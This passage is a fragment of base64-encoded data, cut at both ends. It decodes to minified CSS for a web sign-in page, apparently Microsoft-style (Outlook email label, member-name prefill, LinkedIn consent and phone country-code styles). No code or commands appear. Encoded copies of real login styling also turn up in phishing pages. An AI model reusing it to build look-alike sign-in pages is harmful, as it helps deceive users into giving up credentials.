hY2tncm91bmQtY29sb3I6I2ZmZjtmaWx0ZXI6bm9uZX1kaXYuZm9vdGVyTm9kZXtmbG9hdDpsZWZ0O21hcmdpbjowIDI0cHggIWltcG9ydGFudH0uZm9vdGVyLWNvbnRlbnQuZm9vdGVyLWl0ZW0sLmZvb3Rlci1jb250ZW50LmZvb3Rlci1pdGVtLmhhcy1iYWNrZ3JvdW5kLC5mb290ZXItY29udGVudC5mb290ZXItaXRlbS5kZWJ1Zy1pdGVtLmhhcy1iYWNrZ3JvdW5ke2NvbG9yOiM3NDc0NzR9LmJvaWxlcnBsYXRlLXRleHR7cGFkZGluZzoyMHB4O21hcmdpbi10b3A6NTZweDttYXJnaW4tcmlnaHQ6MDttYXJnaW4tYm90dG9tOjA7bWFyZ2luLWxlZnQ6MH0udmVydGljYWwtc3BsaXQtbWFpbi1zZWN0aW9uIC5ib2lsZXJwbGF0ZS10ZXh0LnRyYW5zcGFyZW50LWxpZ2h0Ym94e2JhY2tncm91bmQtY29sb3I6cmdiYSgyNDIsMjQyLDI0MiwwLjIpfS5kZWJ1Zy1kZXRhaWxzLWJhbm5lciwudmVydGljYWwtc3BsaXQtbWFpbi1jb250YWluZXIgLmRlYnVnLWRldGFpbHMtYmFubmVye2JhY2tncm91bmQtY29sb3I6I2YyZjJmMjtwYWRkaW5nOjI0cHg7LXdlYmtpdC1ib3gtc2hhZG93Om5vbmU7LW1vei1ib3gtc2hhZG93Om5vbmU7Ym94LXNoYWRvdzpub25lO3RhYmxlLWxheW91dDphdXRvfS5hcHBJbmZvUG9wT3ZlcnttYXJnaW4tbGVmdDphdXRvO21hcmdpbi1yaWdodDphdXRvO2xlZnQ6MDtyaWdodDowO3dpZHRoOjM2MHB4O2JhY2tncm91bmQtY29sb3I6I2ZmZjstd2Via2l0LWJveC1zaGFkb3c6MCAycHggNnB4IHJnYmEoMCwwLDAsMC4yKTstbW96LWJveC1zaGFkb3c6MCAycHggNnB4IHJnYmEoMCwwLDAsMC4yKTtib3gtc2hhZG93OjAgMnB4IDZweCByZ2JhKDAsMCwwLDAuMil9LmFwcEluZm9Qb3BPdmVyIC50YWJsZXttYXgtaGVpZ2h0OjEyMnB4fS5mb290ZXJTaWdub3V0LC5mb290ZXJTaWdub3V0PmF7Y29sb3I6IzI2MjYyNiAhaW1wb3J0YW50fS5tb3ZlLWJ1dHRvbnMgZGl2LmJ1dHRvbi1jb250YWluZXJ7Ym90dG9tOmF1dG99fS5wYWdlLWRlc2NyaXB0aW9uLXdpdGgtaWNvbnttYXJnaW4tbGVmdDozNHB4fS5ib2xke2ZvbnQtd2VpZ2h0OmJvbGR9LnN0YWNrLXRyYWNle2NvbG9yOmJsYWNrO2ZvbnQtZmFtaWx5OiJDb25zb2xhcyIsbW9ub3NwYWNlO292ZXJmbG93OmF1dG99LnN0YWNrLXRyYWNlIHB7bWFyZ2luLXRvcDoxNXB4fS5zdGFjay10cmFjZSB1bHtsaXN0LXN0eWxlOm5vbmV9LnN0YWNrLXRyYWNlIHVsIGxpe21hcmdpbi10b3A6MTVweH0uc3RhY2stdHJhY2UgZmllbGRzZXR7Y29sb3I6YmxhY2s7Ym9yZGVyOjA7Ym9yZGVyLXRvcDoxcHggc29saWQgd2hpdGU7bWFyZ2luLWJvdHRvbTo1MHB4fS5zdGFjay10cmFjZSBocntib3JkZXI6bm9uZTtib3JkZXItdG9wOnNvbGlkIDFweCB3aGl0ZX0ubGlua2VkLWluLWNvbnNlbnR7cG9zaXRpb246cmVsYXRpdmV9LmxpbmtlZC1pbi1jb25zZW50IGltZ3t3aWR0aDoxMDAlfS5saW5rZWQtaW4tY29uc2VudCAuZGlzcGxheS1uYW1le3dpZHRoOjEwMCU7dGV4dC1hbGlnbjpjZW50ZXI7Ym90dG9tOjEwcHg7Zm9udC13ZWlnaHQ6NjAwO3Bvc2l0aW9uOmFic29sdXRlfS5pbmxpbmUtYmxvY2t7ZGlzcGxheTppbmxpbmUtYmxvY2t9LnRleHQtaW5wdXQsaW5wdXRbdHlwZT0iY29sb3IiXSxpbnB1dFt0eXBlPSJkYXRlIl0saW5wdXRbdHlwZT0iZGF0ZXRpbWUiXSxpbnB1dFt0eXBlPSJkYXRldGltZS1sb2NhbCJdLGlucHV0W3R5cGU9ImVtYWlsIl0saW5wdXRbdHlwZT0ibW9udGgiXSxpbnB1dFt0eXBlPSJudW1iZXIiXSxpbnB1dFt0eXBlPSJwYXNzd29yZCJdLGlucHV0W3R5cGU9InNlYXJjaCJdLGlucHV0W3R5cGU9InRlbCJdLGlucHV0W3R5cGU9InRleHQiXSxpbnB1dFt0eXBlPSJ0aW1lIl0saW5wdXRbdHlwZT0idXJsIl0saW5wdXRbdHlwZT0id2VlayJdLHRleHRhcmVhe2JvcmRlci10b3Atd2lkdGg6MDtib3JkZXItbGVmdC13aWR0aDowO2JvcmRlci1yaWdodC13aWR0aDowO3BhZGRpbmctbGVmdDowfS5pbnB1dC50ZXh0LWJveHtwYWRkaW5nOjRweCA4cHg7Ym9yZGVyLXN0eWxlOnNvbGlkO2JvcmRlci13aWR0aDoycHg7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsMC40KTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsMC40KTtoZWlnaHQ6MzJweDtoZWlnaHQ6MnJlbTtwYWRkaW5nOjZweCAxMHB4O2JvcmRlci13aWR0aDoxcHg7Ym9yZGVyLWNvbG9yOiM2NjY7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsMC42KTtoZWlnaHQ6MzZweDtvdXRsaW5lOm5vbmU7Ym9yZGVyLXJhZGl1czowOy13ZWJraXQtYm9yZGVyLXJhZGl1czowO2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQ7Ym9yZGVyLXRvcC13aWR0aDowO2JvcmRlci1sZWZ0LXdpZHRoOjA7Ym9yZGVyLXJpZ2h0LXdpZHRoOjA7cGFkZGluZy1sZWZ0OjB9LmlucHV0LnRleHQtYm94OmZvY3Vze2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXItY29sb3I6IzAwNjdiODtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50fS5pbnB1dC50ZXh0LWJveDpob3Zlcntib3JkZXItY29sb3I6IzMyMzIzMjtib3JkZXItY29sb3I6cmdiYSgwLDAsMCwwLjgpfS5pbnB1dC50ZXh0LWJveDo6LW1vei1wbGFjZWhvbGRlcntjb2xvcjpyZ2JhKDAsMCwwLDAuNik7b3BhY2l0eToxfS5pbnB1dC50ZXh0LWJveDotbXMtaW5wdXQtcGxhY2Vob2xkZXJ7Y29sb3I6cmdiYSgwLDAsMCwwLjYpfS5pbnB1dC50ZXh0LWJveDo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlcntjb2xvcjpyZ2JhKDAsMCwwLDAuNil9LmlucHV0LnRleHQtYm94Lmhhcy1lcnJvcntib3JkZXItY29sb3I6I2U4MTEyM30uaW5wdXQudGV4dC1ib3guaGFzLWVycm9yOmZvY3Vze2JvcmRlci1jb2xvcjojZTgxMTIzfVtkaXNhYmxlZF0uaW5wdXQudGV4dC1ib3gsW3JlYWRvbmx5XS5pbnB1dC50ZXh0LWJveCxmaWVsZHNldFtkaXNhYmxlZF0gLmlucHV0LnRleHQtYm94e2JvcmRlci1jb2xvcjojY2NjICFpbXBvcnRhbnQ7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLDAuMikgIWltcG9ydGFudDtjb2xvcjpyZ2JhKDAsMCwwLDAuMikgIWltcG9ydGFudH1ib2R5LmNiIGlucHV0W3R5cGU9InRleHQiXS5oaXB7Ym9yZGVyLXdpZHRoOjAgIWltcG9ydGFudDtib3JkZXItYm90dG9tLXdpZHRoOjFweCAhaW1wb3J0YW50O3BhZGRpbmc6NnB4IDAgIWltcG9ydGFudH10ZXh0YXJlYS5icmlja3dhbGx7aGVpZ2h0OjQycHg7d2lkdGg6MTAwJTtyZXNpemU6dmVydGljYWx9LnRleHRhcmVhLXBsYWNlaG9sZGVye3Bvc2l0aW9uOnJlbGF0aXZlfXNlbGVjdHtib3JkZXItdG9wLXdpZHRoOjA7Ym9yZGVyLWxlZnQtd2lkdGg6MDtib3JkZXItcmlnaHQtd2lkdGg6MDtwYWRkaW5nOjZweCAwfXNlbGVjdDpob3ZlcntiYWNrZ3JvdW5kOnRyYW5zcGFyZW50fXNlbGVjdDpmb2N1c3tiYWNrZ3JvdW5kOiNlZWV9LnRleHQtdGl0bGV7Y29sb3I6IzFiMWIxYjtmb250LXNpemU6MS41cmVtO2ZvbnQtd2VpZ2h0OjYwMDtwYWRkaW5nOjA7bWFyZ2luLXRvcDoxNnB4O21hcmdpbi1ib3R0b206MTJweDtmb250LWZhbWlseToiU2Vnb2UgVUkiLCJIZWx2ZXRpY2EgTmV1ZSIsIkx1Y2lkYSBHcmFuZGUiLCJSb2JvdG8iLCJFYnJpbWEiLCJOaXJtYWxhIFVJIiwiR2FkdWdpIiwiU2Vnb2UgWGJveCBTeW1ib2wiLCJTZWdvZSBVSSBTeW1ib2wiLCJNZWlyeW8gVUkiLCJLaG1lciBVSSIsIlR1bmdhIiwiTGFvIFVJIiwiUmFhdmkiLCJJc2tvb2xhIFBvdGEiLCJMYXRoYSIsIkxlZWxhd2FkZWUiLCJNaWNyb3NvZnQgWWFIZWkgVUkiLCJNaWNyb3NvZnQgSmhlbmdIZWkgVUkiLCJNYWxndW4gR290aGljIiwiRXN0cmFuZ2VsbyBFZGVzc2EiLCJNaWNyb3NvZnQgSGltYWxheWEiLCJNaWNyb3NvZnQgTmV3IFRhaSBMdWUiLCJNaWNyb3NvZnQgUGhhZ3NQYSIsIk1pY3Jvc29mdCBUYWkgTGUiLCJNaWNyb3NvZnQgWWkgQmFpdGkiLCJNb25nb2xpYW4gQmFpdGkiLCJNViBCb2xpIiwiTXlhbm1hciBUZXh0IiwiQ2FtYnJpYSBNYXRoIn0udGV4dC10aXRsZTpsYW5nKHpoLWNuKSwudGV4dC10aXRsZTpsYW5nKHpoLXR3KXtmb250LWZhbWlseToiU2Vnb2UgVUkiLCJIZWx2ZXRpY2EgTmV1ZSIsIkx1Y2lkYSBHcmFuZGUiLCJSb2JvdG8iLCJFYnJpbWEiLCJOaXJtYWxhIFVJIiwiR2FkdWdpIiwiU2Vnb2UgWGJveCBTeW1ib2wiLCJTZWdvZSBVSSBTeW1ib2wiLCJLaG1lciBVSSIsIlR1bmdhIiwiTGFvIFVJIiwiUmFhdmkiLCJJc2tvb2xhIFBvdGEiLCJMYXRoYSIsIkxlZWxhd2FkZWUiLCJNaWNyb3NvZnQgWWFIZWkgVUkiLCJNaWNyb3NvZnQgSmhlbmdIZWkgVUkiLCJNYWxndW4gR290aGljIiwiRXN0cmFuZ2VsbyBFZGVzc2EiLCJNaWNyb3NvZnQgSGltYWxheWEiLCJNaWNyb3NvZnQgTmV3IFRhaSBMdWUiLCJNaWNyb3NvZnQgUGhhZ3NQYSIsIk1pY3Jvc29mdCBUYWkgTGUiLCJNaWNyb3NvZnQgWWkgQmFpdGkiLCJNb25nb2xpYW4gQmFpdGkiLCJNViBCb2xpIiwiTXlhbm1hciBUZXh0IiwiQ2FtYnJpYSBNYXRoIn0udGl0bGV7bWFyZ2luLWJvdHRvbToyMHB4O21hcmdpbi10b3A6MjBweDttYXJnaW4tYm90dG9tOjEuMjVyZW07bWFyZ2luLXRvcDoxLjI1cmVtO2ZvbnQtc2l6ZToyNHB4O2xpbmUtaGVpZ2h0OjI4cHg7Zm9udC13ZWlnaHQ6MzAwO2xpbmUtaGVpZ2h0OjEuNzVyZW07cGFkZGluZy1ib3R0b206Mi4zNjMycHg7cGFkZGluZy10b3A6Mi4zNjMycHg7Y29sb3I6IzFiMWIxYjtmb250LXNpemU6MS41cmVtO2ZvbnQtd2VpZ2h0OjYwMDtwYWRkaW5nOjA7bWFyZ2luLXRvcDoxNnB4O21hcmdpbi1ib3R0b206MTJweDtmb250LWZhbWlseToiU2Vnb2UgVUkiLCJIZWx2ZXRpY2EgTmV1ZSIsIkx1Y2lkYSBHcmFuZGUiLCJSb2JvdG8iLCJFYnJpbWEiLCJOaXJtYWxhIFVJIiwiR2FkdWdpIiwiU2Vnb2UgWGJveCBTeW1ib2wiLCJTZWdvZSBVSSBTeW1ib2wiLCJNZWlyeW8gVUkiLCJLaG1lciBVSSIsIlR1bmdhIiwiTGFvIFVJIiwiUmFhdmkiLCJJc2tvb2xhIFBvdGEiLCJMYXRoYSIsIkxlZWxhd2FkZWUiLCJNaWNyb3NvZnQgWWFIZWkgVUkiLCJNaWNyb3NvZnQgSmhlbmdIZWkgVUkiLCJNYWxndW4gR290aGljIiwiRXN0cmFuZ2VsbyBFZGVzc2EiLCJNaWNyb3NvZnQgSGltYWxheWEiLCJNaWNyb3NvZnQgTmV3IFRhaSBMdWUiLCJNaWNyb3NvZnQgUGhhZ3NQYSIsIk1pY3Jvc29mdCBUYWkgTGUiLCJNaWNyb3NvZnQgWWkgQmFpdGkiLCJNb25nb2xpYW4gQmFpdGkiLCJNViBCb2xpIiwiTXlhbm1hciBUZXh0IiwiQ2FtYnJpYSBNYXRoIn0uYXBwLW5hbWV7bWFyZ2luLWJvdHRvbToyMHB4O21hcmdpbi10b3A6MjBweDttYXJnaW4tYm90dG9tOjEuMjVyZW07bWFyZ2luLXRvcDoxLjI1cmVtO2ZvbnQtc2l6ZToyNHB4O2xpbmUtaGVpZ2h0OjI4cHg7Zm9udC13ZWlnaHQ6MzAwO2xpbmUtaGVpZ2h0OjEuNzVyZW07cGFkZGluZy1ib3R0b206Mi4zNjMycHg7cGFkZGluZy10b3A6Mi4zNjMycHg7Y29sb3I6IzFiMWIxYjtmb250LXNpemU6MS41cmVtO2ZvbnQtd2VpZ2h0OjYwMDtwYWRkaW5nOjA7bWFyZ2luLXRvcDoxNnB4O21hcmdpbi1ib3R0b206MTJweDtmb250LWZhbWlseToiU2Vnb2UgVUkiLCJIZWx2ZXRpY2EgTmV1ZSIsIkx1Y2lkYSBHcmFuZGUiLCJSb2JvdG8iLCJFYnJpbWEiLCJOaXJtYWxhIFVJIiwiR2FkdWdpIiwiU2Vnb2UgWGJveCBTeW1ib2wiLCJTZWdvZSBVSSBTeW1ib2wiLCJNZWlyeW8gVUkiLCJLaG1lciBVSSIsIlR1bmdhIiwiTGFvIFVJIiwiUmFhdmkiLCJJc2tvb2xhIFBvdGEiLCJMYXRoYSIsIkxlZWxhd2FkZWUiLCJNaWNyb3NvZnQgWWFIZWkgVUkiLCJNaWNyb3NvZnQgSmhlbmdIZWkgVUkiLCJNYWxndW4gR290aGljIiwiRXN0cmFuZ2VsbyBFZGVzc2EiLCJNaWNyb3NvZnQgSGltYWxheWEiLCJNaWNyb3NvZnQgTmV3IFRhaSBMdWUiLCJNaWNyb3NvZnQgUGhhZ3NQYSIsIk1pY3Jvc29mdCBUYWkgTGUiLCJNaWNyb3NvZnQgWWkgQmFpdGkiLCJNb25nb2xpYW4gQmFpdGkiLCJNViBCb2xpIiwiTXlhbm1hciBUZXh0IiwiQ2FtYnJpYSBNYXRoIjttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTowO2ZvbnQtc2l6ZTouOTM3NXJlbTtsaW5lLWhlaWdodDoxLjI1cmVtfS5zZWNvbmRhcnktdGV4dHtmb250LXNpemU6Ljg1cmVtfS5hbGVydHttYXJnaW4tYm90dG9tOjA7bWFyZ2luLXRvcDowfS5hbGVydC5hbGVydC1tYXJnaW4tYm90dG9te21hcmdpbi1ib3R0b206MTJweH0uZXJyb3J7Y29sb3I6I2U4MTEyM30udGV4dC1iYXNle2ZvbnQtc2l6ZTouODVyZW19LmRyb3Bkb3duLXRvZ2dsZS5tZW1iZXJuYW1lUHJlZmlsbFNlbGVjdHtwYWRkaW5nOjA7Ym9yZGVyLXdpZHRoOjFweDtoZWlnaHQ6MzZweDtvdXRsaW5lOm5vbmU7Ym9yZGVyLWxlZnQ6bm9uZTtib3JkZXItcmlnaHQ6bm9uZTtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWNvbG9yOiM2NjY7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudH0uZHJvcGRvd24tdG9nZ2xlLm1lbWJlcm5hbWVQcmVmaWxsU2VsZWN0OmFjdGl2ZXt0cmFuc2Zvcm06bm9uZTtib3JkZXI6MXB4IHNvbGlkICMwMDc4ZDc7Ym9yZGVyLXRvcC13aWR0aDowO2JvcmRlci1sZWZ0LXdpZHRoOjA7Ym9yZGVyLXJpZ2h0LXdpZHRoOjB9LmRyb3Bkb3duLXRvZ2dsZS5tZW1iZXJuYW1lUHJlZmlsbFNlbGVjdDpmb2N1c3t0cmFuc2Zvcm06bm9uZTtib3JkZXI6MXB4IHNvbGlkICMwMDc4ZDc7Ym9yZGVyLXRvcC13aWR0aDowO2JvcmRlci1sZWZ0LXdpZHRoOjA7Ym9yZGVyLXJpZ2h0LXdpZHRoOjA7YmFja2dyb3VuZC1jb2xvcjojZWVlICFpbXBvcnRhbnR9LmRyb3Bkb3duLXRvZ2dsZS5tZW1iZXJuYW1lUHJlZmlsbFNlbGVjdDpob3Zlciwub3BlbiAuZHJvcGRvd24tdG9nZ2xlLm1lbWJlcm5hbWVQcmVmaWxsU2VsZWN0e2JvcmRlcjoxcHggc29saWQgIzAwNzhkNztib3JkZXItdG9wLXdpZHRoOjA7Ym9yZGVyLWxlZnQtd2lkdGg6MDtib3JkZXItcmlnaHQtd2lkdGg6MDtiYWNrZ3JvdW5kLWNvbG9yOiNlZWUgIWltcG9ydGFudH0uZHJvcGRvd24tdG9nZ2xlLm1lbWJlcm5hbWVQcmVmaWxsU2VsZWN0Lmhhcy1lcnJvciwuZHJvcGRvd24tdG9nZ2xlLm1lbWJlcm5hbWVQcmVmaWxsU2VsZWN0Lmhhcy1lcnJvcjpob3Zlcntib3JkZXItd2lkdGg6MXB4O2JvcmRlci1jb2xvcjojZTgxMTIzfS5vdXRsb29rRW1haWxMYWJlbHtib3JkZXItbGVmdDpub25lO2JvcmRlci1yaWdodDpub25lO2JvcmRlci10b3A6bm9uZTtwYWRkaW5nLXJpZ2h0OjB9LnN1YnRpdGxle2ZvbnQtc2l6ZTouODEyNXJlbTtmb250LXdlaWdodDo0MDA7bGluZS1oZWlnaHQ6MjBweH0uc2VjdGlvbnttYXJnaW4tYm90dG9tOjB9LnJhZGlve21hcmdpbi10b3A6MjBweDttYXJnaW4tYm90dG9tOjIwcHh9ZGl2W3JvbGU9cmFkaW9ncm91cF0+ZGl2W2NsYXNzPSJyYWRpbyJdOmZpcnN0LWNoaWxke21hcmdpbi10b3A6MH0uZm9ybS1ncm91cC10b3B7bWFyZ2luLXRvcDoxNnB4fWRpdltyb2xlPWxpc3RpdGVtXSwubGlzdC1pdGVte21hcmdpbi1sZWZ0OjIwcHg7ZGlzcGxheTpsaXN0LWl0ZW07bGlzdC1zdHlsZTpjaXJjbGU7bGlzdC1zdHlsZS10eXBlOmRpc2N9LnBob25lQ291bnRyeUNvZGV7cG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtsZWZ0OjA7cGFkZGluZzo2cHggNHB4O2hlaWdodDozNnB4O2JvcmRlci1ib3R0b20td2lkdGg6MXB4O2JvcmRlci1jb2xvcjojNjY2O2JvcmRlci1jb2xvcjpyZ2JhKDAsMCwwLDAuNik7Ym9yZGVyLWJvdHRvbS1zdHlsZTpzb2xpZH0ucGhvbmVDb3VudHJ5Q29kZS5oYXNGb2N1c3tiYWNrZ3JvdW5kLWNvbG9yOiNlZWU7Ym9yZGVyOjFweCBzb2xpZCAjZWVlO2JvcmRlci1ib3R0b20tY29sb3I6IzAwNjdiODttYXJnaW46LTFweCAtMXB4IDAgLTFweH0ucGhvbmVDb3VudHJ5Q29kZS5oYXMtZXJyb3J7Ym9yZGVyLWNvbG9yOiNlODExMjN9LnBob25lQ291bnRyeXtsZWZ0OjA7b3BhY2l0eTowO2N1cnNvcjpwb2ludGVyOy1tcy1maWx0ZXI6InByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5BbHBoYShPcGFjaXR5PTApIn0ucGhvbmVDb3VudHJ5Qm94e2Rpc3BsYXk6aW5saW5lLWJsb2NrfS5kb3duQXJyb3d7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6LTZweDtwYWRkaW5nOjZweCAwO2hlaWdodDozNnB4fS5waG9uZU51bWJlcntkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nLWxlZnQ6MTZweH0ucm93LWFwcC1pbmZve3RhYmxlLWxheW91dDphdXRvfS5yb3ctYXBwLWluZm8gLmxvZ297ZGlzcGxheTp0YWJsZS1jZWxsO3dpZHRoOjMycHg7aGVpZ2h0OjMycHg7cGFkZGluZy1yaWdodDo4cHh9LnJvdy1hcHAtaW5mbyAubG9nbyBpbWd7d2lkdGg6aW5oZXJpdDtoZWlnaHQ6aW5oZXJpdH0ucGFnaW5hdGlvbi12aWV3e3Bvc2l0aW9uOnJlbGF0aXZlO21pbi1oZWlnaHQ6MjA2cHh9LnBhZ2luYXRpb24tdmlldy5oYXMtaWRlbnRpdHktYmFubmVye21pbi1oZWlnaHQ6MTcwcHh9Lnplcm8tb3BhY2l0eXtvcGFjaXR5OjB9LmxpZ2h0Ym94LWNvdmVye2JhY2tncm91bmQtY29sb3I6d2hpdGU7b3BhY2l0eTowO2ZpbHRlcjphbHBoYShvcGFjaXR5PTApO3otaW5kZXg6LTE7aGVpZ2h0OjEwMCU7d2lkdGg6MTAwJTtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0OjA7dHJhbnNpdGlvbjphbGwgLjVzIGVhc2UtaW47LW8tdHJhbnNpdGlvbjphbGwgLjVzIGVhc2UtaW47LW1vei10cmFuc2l0aW9uOmFsbCAuNXMgZWFzZS1pbjstd2Via2l0LXRyYW5zaXRpb246YWxsIC41cyBlYXNlLWlufS5saWdodGJveC1jb3Zlci5kaXNhYmxlLWxpZ2h0Ym94e3otaW5kZXg6MTA7b3BhY2l0eTouNTtmaWx0ZXI6YWxwaGEob3BhY2l0eT0wKX0ub3JkZXJlZC1saXN0e3BhZGRpbmctbGVmdDoxNXB4fS5jaGVja21hcmstYmFkZ2V7cG9zaXRpb246cmVsYXRpdmU7Ym90dG9tOjFweDtoZWlnaHQ6MTVweDt3aWR0aDoxNXB4fS5yaWNodGV4dC13YXJuaW5ne21hcmdpbi10b3A6MjBweDttYXJnaW4tYm90dG9tOjEwcHh9LnJpY2h0ZXh0LWRlc2NyaXB0aW9ue21hcmdpbi10b3A6MTBweDttYXJnaW4tYm90dG9tOjEwcHh9QG1lZGlhICgtbXMtaGlnaC1jb250cmFzdCl7LmJ0biwuYnV0dG9uLGJ1dHRvbixpbnB1dFt0eXBlPVwnYnV0dG9uXCddLGlucHV0W3R5cGU9XCdzdWJtaXRcJ10saW5wdXRbdHlwZT1cJ3Jlc2V0XCddLC5idG4uYnRuLWdvb2dsZXstbXMtaGlnaC1jb250cmFzdC1hZGp1c3Q6bm9uZTtvdXRsaW5lOjFweCBzb2xpZCB3aW5kb3dUZXh0O2JvcmRlcjoxcHggc29saWQgd2luZG93O2JhY2tncm91bmQtY29sb3I6d2luZG93O2NvbG9yOndpbmRvd1RleHQ7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LmJ0bjpob3ZlciwuYnV0dG9uOmhvdmVyLGJ1dHRvbjpob3ZlcixpbnB1dFt0eXBlPVwnYnV0dG9uXCddOmhvdmVyLGlucHV0W3R5cGU9XCdzdWJtaXRcJ106aG92ZXIsaW5wdXRbdHlwZT1cJ3Jlc2V0XCddOmhvdmVyLC5idG4uYnRuLWdvb2dsZTpob3ZlcntvdXRsaW5lOjFweCBzb2xpZCB3aW5kb3dUZXh0O2JvcmRlcjoxcHggc29saWQgaGlnaGxpZ2h0O2JhY2tncm91bmQtY29sb3I6aGlnaGxpZ2h0O2NvbG9yOmhpZ2hsaWdodFRleHQ7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LmJ0bjpob3Zlcjpmb2N1cywuYnV0dG9uOmhvdmVyOmZvY3VzLGJ1dHRvbjpob3Zlcjpmb2N1cyxpbnB1dFt0eXBlPVwnYnV0dG9uXCddOmhvdmVyOmZvY3VzLGlucHV0W3R5cGU9XCdzdWJtaXRcJ106aG92ZXI6Zm9jdXMsaW5wdXRbdHlwZT1cJ3Jlc2V0XCddOmhvdmVyOmZvY3VzLC5idG4uYnRuLWdvb2dsZTpob3Zlcjpmb2N1c3tvdXRsaW5lOjFweCBzb2xpZCB3aW5kb3dUZXh0O2JvcmRlcjoxcHggc29saWQgd2luZG93VGV4dDtiYWNrZ3JvdW5kLWNvbG9yOmhpZ2hsaWdodDtjb2xvcjpoaWdobGlnaHRUZXh0O3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LmJ0bjpmb2N1cywuYnV0dG9uOmZvY3VzLGJ1dHRvbjpmb2N1cyxpbnB1dFt0eXBlPVwnYnV0dG9uXCddOmZvY3VzLGlucHV0W3R5cGU9XCdzdWJtaXRcJ106Zm9jdXMsaW5wdXRbdHlwZT1cJ3Jlc2V0XCddOmZvY3VzLC5idG4uYnRuLWdvb2dsZTpmb2N1c3tvdXRsaW5lOjFweCBzb2xpZCB3aW5kb3dUZXh0O2JvcmRlcjoxcHggc29saWQgd2luZG93VGV4dDtiYWNrZ3JvdW5kLWNvbG9yOndpbmRvdztjb2xvcjp3aW5kb3dUZXh0O3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LmJ0bi5idG4tcHJpbWFyeSwuYnV0dG9uLmJ0bi1wcmltYXJ5LGJ1dHRvbi5idG4tcHJpbWFyeSxpbnB1dFt0eXBlPVwnYnV0dG9uXCddLmJ0bi1wcmltYXJ5LGlucHV0W3R5cGU9XCdzdWJtaXRcJ10uYnRuLXByaW1hcnksaW5wdXRbdHlwZT1cJ3Jlc2V0XCddLmJ0bi1wcmltYXJ5LC5idG4uYnRuLWdvb2dsZS5idG4tcHJpbWFyeSwuYnRuLnByaW1hcnksLmJ1dHRvbi5wcmltYXJ5LGJ1dHRvbi5wcmltYXJ5LGlucHV0W3R5cGU9XCdidXR0b25cJ10ucHJpbWFyeSxpbnB1dFt0eXBlPVwnc3VibWl0XCddLnByaW1hcnksaW5wdXRbdHlwZT1cJ3Jlc2V0XCddLnByaW1hcnksLmJ0bi5idG4tZ29vZ2xlLnByaW1hcnksLmJ0bi5zZWNvbmRhcnksLmJ1dHRvbi5zZWNvbmRhcnksYnV0dG9uLnNlY29uZGFyeSxpbnB1dFt0eXBlPVwnYnV0dG9uXCddLnNlY29uZGFyeSxpbnB1dFt0eXBlPVwnc3VibWl0XCddLnNlY29uZGFyeSxpbnB1dFt0eXBlPVwncmVzZXRcJ10uc2Vjb25kYXJ5LC5idG4uYnRuLWdvb2dsZS5zZWNvbmRhcnl7b3V0bGluZToxcHggc29saWQgaGlnaGxpZ2h0O2JvcmRlcjoxcHggc29saWQgaGlnaGxpZ2h0O2JhY2tncm91bmQtY29sb3I6aGlnaGxpZ2h0O2NvbG9yOmhpZ2hsaWdodFRleHQ7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LmJ0bi5idG4tcHJpbWFyeTpob3ZlciwuYnV0dG9uLmJ0bi1wcmltYXJ5OmhvdmVyLGJ1dHRvbi5idG4tcHJpbWFyeTpob3ZlcixpbnB1dFt0eXBlPVwnYnV0dG9uXCddLmJ0bi1wcmltYXJ5OmhvdmVyLGlucHV0W3R5cGU9XCdzdWJtaXRcJ10uYnRuLXByaW1hcnk6aG92ZXIsaW5wdXRbdHlwZT1cJ3Jlc2V0XCddLmJ0bi1wcmltYXJ5OmhvdmVyLC5idG4uYnRuLWdvb2dsZS5idG4tcHJpbWFyeTpob3ZlciwuYnRuLnByaW1hcnk6aG92ZXIsLmJ1dHRvbi5wcmltYXJ5OmhvdmVyLGJ1dHRvbi5wcmltYXJ5OmhvdmVyLGlucHV0W3R5cGU9XCdidXR0b25cJ10ucHJpbWFyeTpob3ZlcixpbnB1dFt0eXBlPVwnc3VibWl0XCddLnByaW1hcnk6aG92ZXIsaW5wdXRbdHlwZT1cJ3Jlc2V0XCddLnByaW1hcnk6aG92ZXIsLmJ0bi5idG4tZ29vZ2xlLnByaW1hcnk6aG92ZXIsLmJ0bi5zZWNvbmRhcnk6aG92ZXIsLmJ1dHRvbi5zZWNvbmRhcnk6aG92ZXIsYnV0dG9uLnNlY29uZGFyeTpob3ZlcixpbnB1dFt0eXBlPVwnYnV0dG9uXCddLnNlY29uZGFyeTpob3ZlcixpbnB1dFt0eXBlPVwnc3VibWl0XCddLnNlY29uZGFyeTpob3ZlcixpbnB1dFt0eXBlPVwncmVzZXRcJ10uc2Vjb25kYXJ5OmhvdmVyLC5idG4uYnRuLWdvb2dsZS5zZWNvbmRhcnk6aG92ZXJ7b3V0bGluZToxcHggc29saWQgaGlnaGxpZ2h0O2JvcmRlcjoxcHggc29saWQgd2luZG93O2JhY2tncm91bmQtY29sb3I6d2luZG93O2NvbG9yOmhpZ2hsaWdodDt0ZXh0LWRlY29yYXRpb246bm9uZX0uYnRuLmJ0bi1wcmltYXJ5OmhvdmVyOmZvY3VzLC5idXR0b24uYnRuLXByaW1hcnk6aG92ZXI6Zm9jdXMsYnV0dG9uLmJ0bi1wcmltYXJ5OmhvdmVyOmZvY3VzLGlucHV0W3R5cGU9XCdidXR0b25cJ10uYnRuLXByaW1hcnk6aG92ZXI6Zm9jdXMsaW5wdXRbdHlwZT1cJ3N1Ym1pdFwnXS5idG4tcHJpbWFyeTpob3Zlcjpmb2N